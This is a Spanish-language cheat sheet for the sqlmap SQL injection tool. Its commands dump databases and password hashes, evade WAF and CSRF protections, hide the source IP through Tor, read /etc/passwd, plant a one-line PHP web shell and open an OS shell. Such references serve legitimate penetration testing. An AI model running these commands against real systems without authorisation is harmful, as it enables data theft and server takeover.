# sqlmap

## General

```sh
# Ejecución de sqlmap general desde request guardado en archivo
sqlmap -r request.txt --level=5 --risk=3 --random-agent --threads=10 --batch --flush-session --hostname
```

## Parámetros principales <a href="#parametros-generales" id="parametros-generales"></a>

```sh
-u "<URL>" 
--user-agent='<user-agent>'
--cookie='<cookie>'
--header='<header>'
--level=<1-5> # default 1
--risk=<1-3> # default 1
--technique=<technique> # default "BEUSTQ"
--skip-waf # omitir prueba heurística de WAF
--batch # no espera respuesta del usuario, utiliza comportamiento por defecto
--flush-session # limpia sesión
--threads=10
--dump-all --exclude-sysdbs # obtener la información de todas las bases de datos
```

* \--technique = técnica.
  * B = Boolean-based blind SQLi.
  * E = Error-based SQLi.
  * U = Union-based SQLi.
  * S = Stacked queries SQLi.
  * T = Time-based blind SQLi.
  * Q = Inline queries SQLi.

## Manejo de errores <a href="#manejo-de-errores" id="manejo-de-errores"></a>

```sh
# Mostrar mensajes de error de DBMS
--parse-errors

# Almacenar todo el tráfico en un archivo de texto
-t /tmp/sqlmap-traffic.txt

# Nivel de detalle de los mensajes de salida
-v <0-6>so
```

## Enumeración general <a href="#enumeracion-general" id="enumeracion-general"></a>

```sh
--hostname
--banner
--current-db
--current-user
--is-dba
--users
--privileges
--roles
--passwords
```

## Enumeración de base de datos <a href="#enumeracion-de-base-de-datos" id="enumeracion-de-base-de-datos"></a>

```sh
# Obtener estructura completa del DBMS
--schema

# Buscar tablas por nombre
--search -T <table-name>
--search -T user
 
# Buscar columnas por nombre
--search -C <column-name>
--search -C pass

# Proceso completo de enumeración
--all --batch
```

## **Bypass de protecciones** <a href="#bypass-de-protecciones" id="bypass-de-protecciones"></a>

```sh
# Bypass de lista negra de HTTP User-Agent
--random-agent

# Bypass de token anti-CSRF
--csrf-token="<token-parameter-name>"

# Bypass de valor único
--randomize=<parameter-name>

# Bypass de parámetro calculado
--eval="<python-code>"
--eval="import hashlib;id2=hashlib.md5(id).hexdigest()"

# Ocultar dirección IP
--proxy
--proxy-file
--tor
--check-tor

# Manipulación y ofuscación de payloads
--tamper="<script>"

# Transferencia fragmentada
--chunked

# HTTP parameter pollution (HPP)
--hpp
```

## **DataBase Management System** (**DBMS**) <a href="#database-management-system-dbms" id="database-management-system-dbms"></a>

```sh
sqlmap -u "http://<target>/" --dbms=<dbms>
```

* -u = URL.
  * \<target> = objetivo.
* \--dbms = DataBase Management System, por ejemplo: `mysql`, `mssql`, `postgresql`, `oracle`, `ibmdb2`, etc.

## GET request <a href="#get-request" id="get-request"></a>

```sh
sqlmap -u "http://<target>/param1=value1&param2=value2" --method GET
sqlmap -u "http://<target>/param1=value1&param2=value2" --method GET -p "<param1>,<param2>"
```

* -u = URL.
  * \<target> = objetivo.
* -p = parámetros a revisar.

## POST request <a href="#post-request" id="post-request"></a>

```sh
sqlmap -u "http://<target>/" --method POST --data "param1=value1&param2=value2"
sqlmap -u "http://<target>/" --method POST --data "param1=value1&param2=value2" -p "<param1>,<param2>"
```

* -u = URL.
  * \<target> = objetivo.
* \--data = información del POST request.
* -p = parámetros a revisar.

## Request desde archivo <a href="#request-desde-archivo" id="request-desde-archivo"></a>

```sh
sqlmap -r <request.txt> -p <param>
sqlmap -r <request.txt> --header="<header1>: <value1>*" --header="<header2>: <value2>*" --header="<header3>: <value3>*"
```

* -r = archivo de request.
  * \<request.txt> = archivo con request.
* -p = parámetro.
  * \<param> = parámetro vulnerable.
* \--header = HTTP header.
  * \<header1> = nombre de HTTP header vulnerable.
  * \<value1> = valor de HTTP header vulnerable.

## Listar bases de datos <a href="#listar-bases-de-datos" id="listar-bases-de-datos"></a>

```sh
sqlmap -u "http://<target>/" --dbs
```

* -u = URL.
  * \<target> = objetivo.
* \--dbs = listar bases de datos.

## Listar tablas de base de datos <a href="#listar-tablas-de-base-de-datos" id="listar-tablas-de-base-de-datos"></a>

```sh
sqlmap -u "http://<target>/" -D <database> --tables
```

* -u = URL
  * \<target> = objetivo.
* -D = base de datos.
  * \<database> = nombre de base de datos.
* \--tables = listar tablas de base de datos.

## Listar columnas de tabla <a href="#listar-columnas-de-tabla" id="listar-columnas-de-tabla"></a>

```sh
sqlmap -u "http://<target>/" -D <database> -T <table> --columns
```

* -u = URL
  * \<target> = objetivo.
* -D = base de datos.
  * \<database> = nombre de base de datos.
* -T = tabla.
  * \<table> = nombre de tabla.
* \--columns = listar columnas de tabla.

## Obtener información de tabla <a href="#obtener-informacion-de-tabla" id="obtener-informacion-de-tabla"></a>

```sh
sqlmap -u "http://<target>/" -D <database> -T <table> --dump
```

* -u = URL
  * \<target> = objetivo.
* -D = base de datos.
  * \<database> = nombre de base de datos.
* -T = tabla.
  * \<table> = nombre de tabla.
* \--dump = obtener información de tabla.
* \--dump-format = formato de exportación de datos obtenidos.
  * CSV (por defecto).
  * HTML.
  * SQLite.

## Filtrar obtención de información de tabla <a href="#filtrar-obtencion-de-informacion-de-tabla" id="filtrar-obtencion-de-informacion-de-tabla"></a>

```sh
--start=<start-row-number> --stop=<end-row-number>
--where="<column-name> LIKE '<initial-characters>%'"
```

## Lectura de archivos <a href="#lectura-de-archivos" id="lectura-de-archivos"></a>

```sh
--file-read "<file>"
--file-read "/etc/passwd"
```

## Escritura de archivos <a href="#escritura-de-archivos" id="escritura-de-archivos"></a>

```sh
--file-write "<file>" --file-dest "/tmp/file"
```

Escritura de web shell.

{% code title="webshell.php" %}

```php
<?php echo system($_GET['cmd']); ?>
```

{% endcode %}

```sh
--file-write "webshell.php" --file-dest "/var/www/html/webshell.php"
```

## Shell <a href="#shell" id="shell"></a>

```sh
# Shell
sqlmap -u "http://<target>/" --os-shell
sqlmap -u "http://<target>/" --os-shell --technique=<technique>
sqlmap -u "http://<target>/" --os-cmd <comando>

# SQL query shell
sqlmap -u "http://<target>/" --sql-shell
sqlmap -u "http://<target>/" --sql-query <query>
```
